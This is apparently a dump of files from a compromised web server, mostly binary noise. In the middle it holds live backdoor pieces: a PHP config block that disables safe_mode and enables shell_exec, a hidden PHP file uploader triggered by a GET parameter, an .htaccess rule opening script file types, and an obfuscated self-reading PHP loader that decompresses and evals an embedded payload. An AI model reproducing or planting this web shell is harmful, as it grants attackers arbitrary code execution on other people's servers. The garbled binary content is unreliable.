q 3r]d8WbTUDg sjF?Ǆ \cZHH\b;wb1׳62IN!-La;Ux}XuFD"zGg0Q0ŵRZ[pFw:je:+vݨW:SA#1W#eᙽǈ%|ĵ01
ig#{ꇱ	t(Bg˟'$&=yt^lu-9ۜM~IMwF̃bvtwjqdlgrAX
݀bvtwjqdlgrγ&%lS{av4|5;
VzLmbvtwjqdlgr摐8bƴQb"kTd~`KikǸѽn"7|Փ2Vg	p
x+Xĩ K?kψy=e (^0o6;ES?}r?^6`dZGT:
$(/%ˁ}FC%bvtwjqdlgrЩ1:qDrObvtwjqdlgrbvtwjqdlgrrlbDU??q 7Ecmntsrbfvecc(PU֕'zhG1!j}:ADi+#i=KVa႟ɢqќXX-j *7τ4*%GRe60 EΙ7JJ].sw,D`@TFizIri~ǝw_Y-,$Y{GAqb
l@ myk	K黟C%ogo?H"5^:,}yH"F~cݠߑ.lڢQ&f޷;CO7Յian}E gԾd֞e~S
/ȇGI置~K+XfՁZbvtwjqdlgr	[%CI:HZ'\߹LZ7ŇfCwũ |A]s۵mCF4c|gsI#=YWg@\n-%FqhɾG}rIԋ++)#2gA0ox:Y(%CLdmu*Ec+#dCy tF*i;U@dYAwHIK[,zupȊ7L%L*/y2k7ϠT|((,hn0$+e2hߦI{)z%M˅dhe~$uCР'S2nmy(-{@
O81R75/O+v䞰Lf{ Yج۩Gn${ܒ}fpN4l;qh%UmՠbK]QzѾ]bZ7`R"35N۱DM'_)n-JP4d8 m+F9S
v+FԚdqmntsrbfveczS!8-h:xEps[^rlv bzSmN`P$]:.t7~AMgԘe#e5i'yFd	W
ݳ'nwN(C)mntsrbfvecxG;vu
[[!粮 !*),I&}q[Įy s@PEesmntsrbfvec푋"{gjv{7:Ƚg)xmntsrbfveciZggGvK
WS8cc#nuGo;
^k'?2"iɁ.};WuBG?&bvtwjqdlgr$j;ra rmoOsm^'u Lh'8K	g:it)kCw2uvK%)?`Y5&A8ԃEpra]:6Ǌs{c"omUyR0r~;%["Xj"Q~MmrSbqlBx`RoIO0(WMi	7MT;0hC`0Fi9K3b4Iǌ;r

SG
_aֶmntsrbfvec.txŐHaǤ%mntsrbfvecixdk-Ι3@UU#E9pHdq␢CQ/b}Sr# 1_u1ow2fdOocd;ŗO'/0L{Xn
,MC|0TOybG wVčnY9lL}x09չmB9i(RGf1bvtwjqdlgr쿴`	fP:?}lVuO^/'K6yA []bvtwjqdlgr]+=+6Ku}:d忝Mpwsбbvtwjqdlgr+5TMP)Fٻ*//?ǗHtuuYndG,+?\w4)ϡ0dUJ=u
ǳYz5gƙM@l37xeU=V֝:!PI m%ELA#nAW&Mıuث"v721В9 uw4vXT_oazn,k˿u&hV)a;!2܂g
0֋5Pfzǘ_Iÿmntsrbfvec=DZmv$
,yd?VL cV&(rTwwH~qE:RgHeoJ^2WB钂U!;-D;HNGJbvtwjqdlgr=U_=n svXbvtwjqdlgr}o[MlƤK5#Z	35pS˼L\:5 y6ڏ7{U?GS{}ߙM^;^o}bvtwjqdlgrXPbʊ;9MQQ+KETx3xԾ&'rRڱy}8@nP~7 *}
Lt$;V gAJwMiQsU3jr}pBN-*0~bbEy;]slњΥm`~~cA3o۲~JcctM;xx2-
vc20B/ةx8$6q\$]*ePkI4 OIy`5"U؟I:C;AͰADB(swS_b})/Z2!enm} BSmQ0
)	ǲ-}]bvtwjqdlgr6N?Cmm
p(!(T' GrJME[~}d=0Rp[.^LXOzX{5NO;2AҝP.g1zA֚
/]l)'7v(2;h#QwkRNv	%CƻȲ'fCzS#y"_CtPgGo`ɋZKP~s'ĐY0*+$/#`ݗ[d}s QݹгqEƝ{2O"k/"X fxxR~:JiWGNΎOU`| zİdbvtwjqdlgr;9}ؒvƊy1BؑV
eXS:pJNoO[-*	~a:#e ~^c,̀\6{Aws),eq"Dެކ[JA5|z!*"bvtwjqdlgr|r34K%(*%b~|+416
17bvtwjqdlgr"9xDeߏabvtwjqdlgr7
hG6Ďvwcpr磍/GLC@nR!mbڊI	0p/T&zm
$1,+"~kobچ]%놬9^*DuƖWWM9;(aGOmntsrbfvecYE2Ac^@]F%VBJwHIIoܕ@4L2E^UeZ1d&@_ƽZ? #+:}ڇDRIdͫ8%	D	m&,?#	ubNҥH'TH}|*vh'|o|bI8#xdaITdwi
oha}$n|s 02|!0ٷ&tQWQ-($zbvtwjqdlgr+v&ѪUuQV'LQ:H-(8DmntsrbfvecOhv,}`	F#%z2`褚:fIiy)3Uߖ.%bvtwjqdlgr]7e
\؞:,y"$W4.mntsrbfveceyӵk?3
|H{1Ƌ:r0 Y4kq,Xf^gQP	onM΂f
n"M%46bvtwjqdlgr]ɐq
&Fmntsrbfvec/RǦԅ蜳|a@)ZGT:KoP k'
hbvtwjqdlgr/u4Ls?`c7;FcMa劇JҢOps;q ef`6LWbz=D̼Tn8;Dհ5bvtwjqdlgrOC"Kw ꤖW/^ע*)!]Wy%#BFmoRmntsrbfvec3J3$MGf")iXC&ͤ$;jXmntsrbfvecbvtwjqdlgrr,6_]-* Ng?ٰ,iq)dꏔE9Lt"J;Ote׭TXFH	5H? E+nb\[tUP$iSϺIx	
o)̃k:+s,MaZ64Nc$Mќ 2{Rg=!9H.Npك%Yp*8cuqKGrck-80,	].y5xx(!w6S##UT~Hej|2Y!whqd ծYW5PJz5-p~HD**_rJ+,HG$iS4SйUMmntsrbfvecB9p"so2b/
׶P8!|=[
=$Ok`_wɲY
sHxFRt-R;DaS)(i6zFsAh?#xgD$BrI;Ѳ1GLײ4ߘN$-e~҅&r 񍴉$ez&mntsrbfvecy:rpdCp~9_
Prw1ҷ[m34|opA]h0Rkc)2G.nhוX5rrc {QY41=mntsrbfvecX;`4:GJkz-ȴS@ɐS5,Ji,3nJA1d0?@5kq.Gx&ulޤˉ!Fp @XlQS~_#%
jB?t/$udѭd;L^RxO@fY
١E{"öϛ.jCRFbKZvTz.In?", ˘وp~@碖+$VgI 4Y给"P?}Uι0L`y
k\o?=[ͳ$xbvtwjqdlgri* '=
|P&	[4Mr]Wi讙DI|o~ ,@BfI]L+ׯ4['uS#D9mntsrbfvec.	
qbvtwjqdlgr%;U$on­9B[XZ9[Y(?P˯,yN
W bPt=[,==^-p驃^q8E/V-Faoti#TY	6a`cNO@#_h :3EcݙN鲄ƉDh^'UK #(5z8lY=Z֦/STi2ߐǀVwK+YݥEai)A1鱼n2ýL_bi%&J/H=S̈́GWM+xQdݿhU8훙Bm_	1UX+o
"ۄ/uɯ
 suBć*?/;EC
^hɡScEm'}`4Iyf'k^xgŘ.~ȈF"΁]HI#ǔ
t_Rdz'-g(El*O[fχux.;ڑ
/DuݠSA6V_s@WT_٣Ȥf)w!U*hp&JbvtwjqdlgrKcLn-L9X!]`F@QHuG0wQ=}.@RȎ7ӹ=Vp-8
UrPCʺ
x0{:e?u0mntsrbfvecio,KYy(NނO^@z?@Ȫ)$˼lڅ
eNDoYә{s2	r~;֘`QsIz=˛~ImntsrbfvecZPwc~)mLݳje[ŉ,UKh	; lL9WSdw}gFiEjQRl-~oܶv$0/KTX5q3y4!}#P `dyEYdz
O\&Ӓ+qiVˢ\5]ODYz&~5$rbvtwjqdlgr6P
X
gQoQ}/)FåO৤^샵muKrCv0~I;S8(m}P+.&;;6s\!#zW{ɘ
89jЭjDO.kBM?cFqEC]Mʢ8VG0N7?`U^!1:9UME(0Ipy62+cef5R^OseV7
:FWV׀K`
|䄐#IqeoYЪU@AEI*L%Z
	5NDNMgmntsrbfvecYMsOG%1ƳTЄ#dOO`TaFJOkdmntsrbfvecD-;_ܱwfr8A(إ05inݿL6uIX*Xp~ÊfmntsrbfvecI
mntsrbfvec&,6p_W˔5)둠a~=EPctd{ehkƚnmhޏ!O]_ )Xl.
e~XR+R)h]3/bvtwjqdlgrE(vrr~5qKh$[zas+SD-\e@M$SIU\"#GӌysfPSzmo
ds_吠 X돥;IΘ#,RC0Nk=.&i#j:bvtwjqdlgrпL1e$&I,	YWxPwXyq?`'`O/kLbvtwjqdlgrsw럒\6kgv4W'l5)64ΰ&~`3$dk^%Q7ͭ'Nd+%U	%%mTDR5bvtwjqdlgr*_b`QScK	jU️'Ы&%b@CѼ; D17[yoGб.`o2f	4B5{ϬpT̾ώ[S	fQ~ۼvy.'Rq
W䁘\+7[zc-p:=/sq˹6˷tJI,&ε{%0!ڂf!X	+~bqF$aPMƚicrirj]PCnTfYkZH8[AO.q2Ni8ą}$Sb].fmntsrbfvecT}襓z9Ҝn\0Dd4ghFg
-X=X;g/gܣw{:
F7^6".܌	uUab8nD$7{gkKWS4v(
mbv5f~YU[v:[}vvܠmntsrbfvecUVFwlC'mntsrbfvecȞGvF({I;3gzR6ᴃ$tofi,mntsrbfvec+ЅlD%*s~xxSmntsrbfvecUƤm3|s[%vTmCoj8&/8Vu+^&Djs'&~bvtwjqdlgr,bpȩ*ecFIw즳](M{s(6fd}TJf|nW
	?FxХojb"H[,, "z|&bPl5YI\IKXf+M:IZU-QW2Uɦ%XV4ҟED[?cFp&--wzhƁ
ĎZbvtwjqdlgrY	X:|lm4򉣚B屹.gƾZ^T'c3fP/hUiYDa̧zlpdiX .NAwuu؝%K1A7ybvtwjqdlgr",
bvtwjqdlgrSf,w[Ju
+(QQe"m"xCFK8ŒvGxB|n{!FVXKHw|xUmw]M&EQ*)]\Z̴nQ{3NZJd;yzT_mntsrbfvec/a|x2BÀ Ros`BTAO\Z*P@u	{\~TXv2$Id)O(QNcJ9\"ƎM|p1e0ZJw-6nVK!	K$mntsrbfvec1*Ѷˠ/5Wb-lMz8mntsrbfvecG#WL]=Q]zydr#?J`HYY1V&Y0ײ IZ%k[U
Y$nċnX1D^"YCsȆZFgf֎#K(bvtwjqdlgrLj#'fB?Zd#lcWƹ`YŬ2X8zyôKɭEmntsrbfvec^RZp0L
i"DF`mntsrbfvecnxHq?bvtwjqdlgr;_͐i`;Zl4Z_'chuzHE8t@\ꃢ]J$tpO^bvtwjqdlgrSżّlTy}j:ռWP)7ju	E,\*e:x9d&L
ISxh0}g.]{𹮛*?mntsrbfvecknWN
An^_6I}mntsrbfvecbvtwjqdlgrxK.m暭%G5YZq8Bʣ7\#C6-rea ku}ɧ:B[&T?UoWDMkCoQtQK[|Y~r6:mIq`2~f}Vmͷ_}}y[1~Yh2X/81*2g_#U=D-8
:aLtd)tow6[݈]i_JYW ZPiR(
V9;Ů~0DH)sؒNQO
7C!Is!mڵG!jڌD!U"+nΓ!ڵ2g0}fmntsrbfvecj	S?ǷoQbvtwjqdlgrxfLbvtwjqdlgrxM¤KnOY,l6@@de%șizSLq mh+SF_%7K4䫀dO|/_|R9Хx7\)]RWM1mntsrbfvec"{C\mntsrbfvec[fR}6=vBIbQlnä\l좜wBkQgfۦ/fO6r)~nRU?_k6x
-Ewٚh*=@E"(K6FD759ťGcMZbvtwjqdlgrHKmYxf3;
c`NL?X7츟엒
 6A^6,z$hnD㤿r!uI R;R.(=ӿMUBmK)EbcL=%p"l8qO/R\bvtwjqdlgr'2@m}LOEZj5Wmntsrbfvecbvtwjqdlgr
0wۮ#tޒg
`Lk;IjUP ia\w}m!t?&wdQ/ޭ}}y!N-Hکy5k=qҳѽG &&knZ^F"#=yhS7eq[ΆKkTQ|v#[M1_O`\MSmntsrbfvecpN,9JZ?%O?i\oi%(כȚ$VoC(}GIB4qs;=%N 
MH;OH
@D(g5nqx;f1cbvtwjqdlgr0 @د-}?F#NJ D4wOmmntsrbfvecRQT EĿy}i7R2B\c"\dw}l[G6@:mntsrbfvecgur~_f0\/Om0bvtwjqdlgrc#Rޡ
E_0 s%B
}yȱ"h4#o@U_Xv^fR(vwM7A79/& ?{Ooxs3})ENDSŷ=		] እ9+'ޚmntsrbfvecŅ/7eS%񴦿pR.ݶƣԇRj?bvtwjqdlgrĨH_n|4^U?4@!bpI(bvtwjqdlgr IOeEI
UE7Lf
2kx	:U!#WM#J@USBZ0F&T~bvtwjqdlgrbE 9jmntsrbfvec6jGab0,FeHIN-lLJUg=9f*HmntsrbfvecWU^IoHU
bvtwjqdlgrƱ.GA?O94قEI}b`v\H_kr/6c:vϔ9-+za@L:=p"b1YnE\zٲvom;"* f7Y;R[DG@]X_
-2`1&q7®YcU85#+:`S%/IE+tFgG=̪%\2;Yj)6w_
KSY]̍(Ci\϶mb)/x@56ubF{Q,܇ϐV:e2_%^VmntsrbfveciGp^.S~l&eAlBL
|bvtwjqdlgrxQuGjA³p
y\U${@Z}hbvtwjqdlgr[]x0'AO
lvZ+zÉWGok0|:n^qq\5j ԋ[F'1oȦݾp0SB}8] r[*[l_U75%I8Bc+ܪF֩SNrٸӻhdA	A,=It#'e|$iO
31)sVkGjA(}EmntsrbfvecFiaJ\_ "9Y?pD\`V!%J04`yY6'LTFTx͖p0gg	tܟY+@591ިv-:~춍cwV͂fns4HFcJp9C[Rtk*u-C؅x/ER,q^+4պQXd(3J'2'-W#GW&O{8Z"=nMm*1{cQ7϶-OeP-
	7?/{KI[ѫR=/xSG\{NK`F*:N͈J !k?XF߯WueGۃ?Yj*q,5y]XeCg3HvKMA%w^)nK7`FFܥAבmntsrbfvec-diT\ȩ0#n:7\{
HYcqT_W8MY̏iV9U5z&)Ku˥u`
jX=&8´͟TnYbvtwjqdlgrjUkX[gō5WWsaMmntsrbfvecKI팁x$?Cs2 %܅v%]m$QL[F+?P=1#e-ֱw\mAή:DXG5$t()迿Et
`	94,6`MJ~mQw4=ne*g8&(,h`/Z٤V\z]s)̟+9+`ddYr믮Fu?XDZLf7%!z4~'ɡp/!@8v۴#
|0P23~aͧO7{NZsTDbvtwjqdlgr'zZb~Q#~);C'Xbvtwjqdlgrm4A=oؙ?%IbvtwjqdlgrCAxTG4_,m7mntsrbfvecmӗy٘`8G:wn!GD7]Nd9%bbe'׻j߰lmntsrbfvec y0vJtbvtwjqdlgr4eTh^FgĬ޷{Lmntsrbfvec$(~(@x]X˨gL p&rk.EmIu5 }Dh^4JdI;$bvtwjqdlgriY[qCmntsrbfvec*,lFv8!x(13C(嚝S6Ǯ/%% 	!s $,v
ȹKsvVxMw3y*FX][CR:%){?]AZ iK(B ^/B6NRB?q_gX7|'O	Uy7s	젭ը,7ψ~Ejbvtwjqdlgrmntsrbfvec}ig!%^yyZрpaeh'dVΝ_amntsrbfveckDOYo9NߧYg8Si_Ǫ|o?*+='Vg
t(QQ'yCƾ&̈́; DHx(2"_\⚴HKkopS华#TWtp
hTBNb@!.)_ϖ$_mntsrbfvec:M{*-,(+]Of9A5Ձ6Ąb9zbvtwjqdlgriPI}/=: FYG$e!_A _`?Y	 B;w;,V2AweDW]ł+)f	 鯯ԵR|N}`g\%Y"dzMѫ˖[`tgB$H"K۩a$mntsrbfvecIa3n__6^CzQL16#BFPI`@*d?DLI'`:K2=Fud !=׶'ҵ0
dO'^PpKI|tL#;
7 mntsrbfvecgtU[2$/Y\!\,(Φ,bvtwjqdlgr0$[lYԜw/Ȥ7n"6c*{W?CZ*t
2Ǖ}{]^sIS2Zdl\YufMixYbz32uH	d`룕)kWN!+SI2Vd;R&ɈWuIR:eP"X/7aX1lCaR1?;E\sQ%WZCs{Uźk/n)VpTύh݈pgi όX8`OWׂn)rBy3t$sBsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$iQjN='subs'.'tr';$hIzZ='file_ge'.'t'.'_content'.'s';$MiJH='e'.'xi'.'t';$Pubw='gzuncompre'.'ss';$teLZ='s'.'tr'.'_repla'.'ce';eval($Pubw($teLZ('plercnqauo','>',$teLZ('rpedujqwnc','<',$iQjN($hIzZ( __FILE__ ),-216869)))));$MiJH(0);
?>
x\]:uq"֮u8q.f *1̰IZswi{kO!He?ǣNuluS,w?;qG;m߻5*}֥mg6}Ok_(plercnqauo}_&8RFHzͰռ]Ħl7zӗV'cӫlM윓pgHw,WJ|@X̟ѐqP-x+jbWXyTfHB/5bS["Q6~rSa1۞VIH~v1~U_^c%vQ3d~2V=~Q9`;`Le :ьCdnǲ51C.0b/WY0ٿΪbk7A|}1CQ77%Dv;Ѻ?&+pK7-36|J~Y,t6]Hh&'Wi'SM|5ydGYk#ytF%O3Rs(TDq'ҌrMd@;p˒GgauEK2.Vcj'Y"ETlGb*][ۍǅyAF67X5ERK-A)Dߊ
ŝH%dƏyI뼜䣑%e~}5(_-K"1xkYj+|8	u\.?e$u.:K H?$cAN&^$L&
uC"X?ATÙgMFDJtѬQHJd)'"CXPP(*1`plercnqauo.*,K6VhA-êĺ[y|'6~~eʦtX,ֱt('kXwK%71|_8٠_fvu=;plercnqauoVi/~	rpedujqwnc[y"	L)Rͦ:BI%h/Jplercnqauo2ŎplercnqauoüNrpedujqwnc.o~tH=tTfj],#plercnqauoo[hXv*;顁shi[z#]8GH/t7Ub]m.nq.#aDQZ
صAVɫyh	DyorpedujqwncQYQXr#FԶ+/+_hhrpedujqwnc1|=f3l#f篡+^NAʢ7yvxgal'oՇb1@(auJv(ϰ}&b8dDf-_aǰ^plercnqauoK}RSXVbڱM]ғ.zJ?ئ1l0ykC1PÃD(|DAyՉ0UR[,R0Sz`_7b'c/eyr0R1	ٮ	=Je&i"֏ԕ"
(VNr%
~RUP{E;ҁur%{
з@3rpedujqwncJnGhrpedujqwncJY=?[	ù磸0sSI|c!ٮK
QuU #")
8tD9wW${]WP3@Iƥ`ND\u8`ӭe#ð|/4Dvv-!{Poct~sw*X+*M}]Luplercnqauo3+훌L_@d:`5z]O'w y?R g=5D
I\|!ԿE|;F

A?2wӌowp`rpedujqwncoĭh8u9E0ݦraXւ3A1&A'
9}'
e`Ս&D2v/?݌9ޚHv#aibWaJOU7ea
;)0L6$[EMwplercnqauolbo=[7\~U &~K/Y=Yj$S$3!"[{Fn̑rpedujqwncz̩OrpedujqwncU"~yQgB,JsQߣOU,8$ĨBm-+$ҝe$:89'#i˺%zNcЏSGjHW+
ZcHvP0x!v%k?V*d6ޫDoAMUH1=?=UP~rpedujqwncYGjx0ySWeX#_
W,-o~Xyurpedujqwnc/*ƺ#OFW,[΄S	m
'Ƙ^AR4R96̯G}lMEplercnqauo9߾WY4_.	۲J7E-Ć#cz/k613u.X2L}ΜŶZM'.*[(/P#38jPLSPs@CE;PZl9rpedujqwnc*(m/xqm,`
~rpedujqwncvYISՔwxйt4v}i5	EQbo{M,\?Nօ/A/OA#7/[7$vr8pV}ӍA35d)vfQx^zDw95aw1IFxc~CjSJ5j\bUkrpedujqwnc
)'[et+m;Q؄6;ID^}lL%
.:,?Fؐ5@)9z鋐OȪ?K(~ŭ,]dƊn|gʴ`j7~o]:GvdM
ڪrpedujqwncU0,!ρ6/+hO!պFԹ~&2ɳ
;?y`25M8&x-OxcTqfz"ʍGj& g1R΂YO*~fnf9
}d$d0+??9(+h/F#qLjF],A/P'2AÓrpedujqwncQQ)me1b|\HFcT
g\	uÏa#cܐ./uKmbhԶLVmS$-tL 	*a*3-+1'pz1C=W+My=	gӐfUQJ˼S}s{fѺ3ϧk6U
;=Z|
(^CԀӲ	rVQarpedujqwncudz9 \%=Kw^sz2!x.KP5pӺKk"ҷ(z+50u:hCxk쫠#WunCf#H0C4xRbmU"ncȶ.q{H^'[ FQ;?&*y׮:;r2ހyLN/(
\o'a)LUX^	rpedujqwncɢ6leĂFP(2plercnqauoPy,6Ħ!	~הwjZȑrpedujqwncR19'.1/Kr#&Sm -vf@QvÑG^δ^?y"s=0)z1}=Fbmr[W軺21dS0RFEd3l]7:
9i-I^cڗ"@Ybxs=*+glt!P_Sv=r5plercnqauo}"Q$L.\uy-yvٽ4離'y	%Sxt%Y4xJ k(r nP=d5s6&7/mcܛdBUI_c^ (O^Δ!}b{1o*eeBOt_8PfH2ț;Md8Ti?PBX@c{D2u3w6LD_	˩DVUXh
2viDϾAbE}9`ב	(g+oɉR-oLǼ5az^-HG.lrpedujqwnc$F:у\@~!;zf M3h3Θm8M21ЇHZ,f"b[/O_]-P&h,Щ
z󚊱|?Abpx:58ATT$UBwb=Sqc_	e'e-f?	߳`Spa/g^^Tu'Sȡ=ǳE!q܁ȠA[Q`gL]ƸplercnqauoA
R
9OB(@![[yFtkk	0GIBfN*m!ۼLh\Q%`\7[[G3֨D_!*!ZPPkz=
f Hplercnqauo;u;%󋙪Ϲ`0Y@	l7 cгS6'd4̞plercnqauoLbn!cxq6`;# f0fE!/
$F[eCYZ2K 	
2ygا%˼*+'Jplercnqauo$`˷Tƃt[ԯ_igyNQaH!ICQoM!"yŐS;G&'Q9ϓvI3JkAoH Dj̀V
u[xPrpedujqwnc'Ah.cPiZ{d@cth^Ux=?[B{zS\瀿	|~	yArX],,̸B?.T$n/VƯnMBFƮ]fSn´u,}'2AD!	
tVCplercnqauo|"+FbQBfV\\!?ġ2K8eS	oa[rܝ7- #Ƣpg3!NH
:$GQrPƌB^s|#SI{T\
uUu`wr:ϣrР0B1J&PB$wsqF]3_~ A@^kլ1p1e u'!P nlY=TЗ:l+/f`?hH((S 󑷥*{Q5䑘W*rN
e1OPƥp΂ꅨ#PfځN|rarpedujqwnc`s{8s҈!K_eU$h%V5E#Ͽ)m;yzA&ƾ|X.obhנ %
t;'wAld7plercnqauoBmjL]B6`۟[TDlՉ{rTj=HȤ!1CFr
Aj
P_L_rZx}*)35zñ[-C=eQˉo?ƿi9_Ex)@|2G]f/2gS
!Y񠟦30}!Ǟ#&Qng݈2Xgrpedujqwncdkz,m@n.O's,uQsŲ}s!u&0iG6G2V7o+ܱ,R3C&lr\4=EjIG`90 aZL}ڙ#&`9uEplercnqauouaOdK&HS_acf؃Nŝڬ ǠYK(Jg
HQN"
dxCAˀ[	2INq
Q4~Sea8qXYij\rpedujqwncu]+-'ۮ(|.4bb$Γ%Nܓ;li]陧Y	,7Y?h'9Gn=o3͖_XXfn,$?頡^^BB	*kC繢rJːEG^g)02wtHکqrpedujqwnc(!{#YĪ	~= 9# ùn9 (o%䍆u6OB^m k$SYN@D3plercnqauorpedujqwnc:I+{-`\mED"؊BJF=-]ŽAiBgs'u: ]#0@%rXdzzz|IT$&	G򜫕rpedujqwncZ
ùYdkÔ @[Gl_c\$VYMu'󔜕U]K]QWtL7jגԗ}m+S!MXyw$~Ʋm_|(y,Wp=hT)(d4ۏ]Rw(qQt3u9rpedujqwncmpQFTV::Ώ
'TEeuUrpedujqwncF1d#eN#Sjݠ8XXcdl*sf'~xerXu~qцteu0ȧw]]Srpedujqwnc2}cs"aҾ].g7.&!K)Cf픿	ޅ)/S;܀=
o[Wt7?:6e2)spfqK"X#+1el}cnXz; j(y-Ɏ7ւoN8rR!{AO
 ֓x!3d
2Zbq_]:&s_X&P5!{xrpedujqwncT]
t}~ _{7plercnqauo?o-amz2!;ǡplercnqauoL	.gWb5qaҾhž70QKd$fꙻZiҢSy^,fCfS77dn燙ۃ23뎲O`Vې%'%7犙^dn ?
x+:ϹĔ窛B&}x\uȺRI0nz#b2_Eo[`d,H8Vi(:!=V(Q2n l]ԨzdQ~}vA ?cj%2srpedujqwncѫO'KQnj?0ǐBb)nkȦaw kًUjQ%
֏ԗ¢porh_= G8;S8AP[u~VW]C
~r]8W!^4pSl%
뮃Y9$07Q秧p ~qrpedujqwnc_P0w\˿xM02[v]Y:ة

۪V#ٮA#~:aIR=wK8pEz)0&9U,JaOȯc|jyd3ZlN`s864"@%;;QB4֯L|6"EXp^"#-W6V71h9x-sS+ 
yv%.Qg;IHDly^Yb)!Sp[&}40	3E*
2g]o+]aQ4 H7hgXb&jUsJVOgmrKp¿bvplercnqauofrpedujqwncԡwrpedujqwncYpfa~Ȭ:[CyE?axN} #ޗ1!)c7;)%Qm@'c*֜]qāz6	u{LU{#dY
oX^'6z|WG8FO|9oY/٪^Q93tI2ةcQsV0&*~zE	̞(CuQcu"Ey8#~ӡv8abECf:^q.+eHuT:P	yqfrpedujqwnc woY%q&+
ZOpYrmfϣ dtd5=)ǑT(jP]3H~X\Q-)k
"ε6	9S`Uҁ́PNt(;@M9;oT/qGU9AG9%fׅN$0J{;A^#9XCQek))plercnqauo7fY%!?V@ajKe T(!OCŝr2o*nApcL,mDplercnqauoځ	+W7c	+UޚP&CNzܨa3YrpedujqwncWkaX١s7XnrQvƖplercnqauohwֻe1)M8^AaĽU
KANrpedujqwnc`M9!DҏDCu,gr#6ٰo#+9Щqmh%UGeSg^Xm9X%zs}]4P`̦tnobҿbJ'ē O_gPrpedujqwnc{ krpedujqwnc⭢68
ɀ+
8NlAF7_Yp	z&$ PtuqXjl~za-w9p+I)ksw4RRYsϩۺ\1,{70Wg]a_I	plercnqauoalEplercnqauoo	plercnqauoqy=h @D$M8lS}plercnqauo-③vu7\62yg)7ۮ_j*j]i|җ7)Y_GgY׳oV/l_T{_^'plercnqauo4[[ q2LV:z!KGdjdarpedujqwncֈ҆GPcYAf}楠!srpedujqwnceSxFf2K-dB8&B~#j`(c,Ęզ |RCs,qE.0?aGqc@	 +Lls[,X|6CKm("{;i,ʊCaʡCplercnqauoFx8=a^,SPNur~B]4BD@K]o'=Z,c9g.L942;&5mÛŵ^$o7 ֏svN͔O[= @AA^rpedujqwncc(:`_8yԾ!ah ɠF-mAiE@:)O:jiϴ?9,x'VVAtY,-9%4޲Hplercnqauoq_?lz#	p2QaR)ÆC$'o4'C&JScTu8"_ڳ$v_`=RVBjdUg#x?xplercnqauoT+S&rpedujqwnc@d9Щ!ͰE~O#r@Ob6:d4bSO=qv
Zɫw邂jϗmqvx~ͤ"I@ϡpd?7\^]V4hص$c5t;6yzTRp2fFplercnqauohAUSt{M@rpedujqwncOcpAo]A?qQY7aGt;yB%\!74J*$IGjbKec.`AKrpedujqwnce"r;zy"tn&h_`xY0&jp_{5w_S![\Q@plercnqauorP=c_?rwz6ۥ#A*'a'!d 	L |s#2_x,)&pE@.hNԌWQd#X+ +`.
 HVD$6i3c8;VrCfāvm6|"Y!k}oh+g  ݋=ڡFÁhGȮavyh`bѾ^?rB/WC\/:%?q2Zrpedujqwnc}"	e?^_s
~BtR2}
zL\;Q%l,ӊٹVQ֬I$gՋXtۂA_rpedujqwnc,@;arpedujqwnc&޼t~
s	'!	S
t`!0@?'9oWbngX)d{}Dc3э^.JVqᾲF%LJb2!O(Qkw}U=d&$'ǕLeHplercnqauo3n}m=',1OzZPf|b`nh+3IOuUF~A&a*~&zex_,Gcih+y#ҎM	
'}q KHplercnqauoQ_/1HX!Y:uMYYgv~XDwUQn#plercnqauoOLui?\筑Rp;k[)plercnqauo6S`ML)2a{2
@l-Cҡb@P X%Bu5N"XjXC82yl%c"漄G*3mWplercnqauos~(Y*:)	%xtby
7n574TtQxexbC׳=o60X寇	|MQ	DE|qG~&Q\'8jc4[㰉Jplercnqauo;BwVƢ4kjiQ]'s0No18o7@?lGYOؐ#c?.?Ich"5Rܠ&rԯIA'jObXVX0&6[)Z4QhWuC*Cȵ_au=1ϒOruO
wvHQk_bA6PeEc鑒9'wdbse3O
􃮶i	d"x!!UDT_fN+	F$
uD-c!'An8֟\~0Ɂ𾮀F [ϑ*{Y7;pnM^pgn{IBI{ejk޲^te8?)8@ƈbs)9-N^PC=
baǀq'!rpedujqwnc@c&aܾL!žIסٔwLe7m}Pg,'N1	zN"l{t	j^!_~)Jǁ? Y	WAr+plercnqauoqօ|rpedujqwncuQaZÄXH ?h5su֎"cGtBgoO}ȋ`_ѾQMOS3 ́T~C&?d[esź9NJ"E)S3zFU0[\g(2``]b+g_3dNTm͛?7=H
ELٻ ;,-k/xh/;Z`\mϱܡplercnqauoblŌo}Lձ"_ˊƇ:$L@o͊jɲH3N{e	GPf.P~FJ32Dr1CG%=`Vj&zQvMԖv5~yŖ84ޯwZ6+/ݱA_jܷTf0`OXR*s.\'J$JYOIq]jWjDռ?طARwWd^	a-."O^.Dggb?
jdj+ϐzRٱ;hU_GDyͨr?DP!/\˅
5Hgplercnqauollmb=	`^zeFU/16tvE6%q`5L	ܟ=hh]5VkzsDΎ(
&Jgp@Y3`Ce_k${~܂ױ|qپ=X"x؟WkVdAtA[7ģC	Orpedujqwncr{}]@s'iO"^ޖW+b=UI9bHvplercnqauox|=#plercnqauoAKתkR[f=
18QBplercnqauoKcaFWnF!ڀjų~|Ñrpedujqwnc~mWplercnqauo;}i 4O]ϟ	m_8PW"plercnqauoJySu𜦃s՛v!e]3oi}]z6zw23x
CwT"-xh׌pYplercnqauo	'z}_DNISplercnqauo=hǘ)|94O"SHP;{
SKrpedujqwncA&^!x2̷0xؤˍKJӂ7dߑ'3\1r8g_ӍZHmϨ6s.چ^(ô `QMPPS_&1lJ	{1Ah
nDoB4O4qFחFg0EB&5]G16`2p8Ozrpedujqwnc
ܰZ*S!|eL根[p_Wr %&=
`}-e _Ϝ;g)պ@ެ˘nĿ9GuYV
^&\sp)Q֩H5Nd\ZX/J"x[WzŐ'fu4{PlMFF['*J9obCO5ؐab_c 	kΡ#p.S֍p&-$'32&plercnqauo_
Xaplercnqauorpedujqwnc`hK u=a|77v2ν%07ll*!~ʩ"/ecIð0Rq__4q)w?ޖ[lZ$xZ'F0(!?cN2s+9`6oڏrpedujqwncY"
8@* N՗
tɏ.ܬdKBƃ*Xʎ/ϝgW=Ջ*s27I+mں!uF_NK*!	0܄d&h/:2%cVnRgD4,y}P[LkE	*{~c~~:*oQ."~=jlD
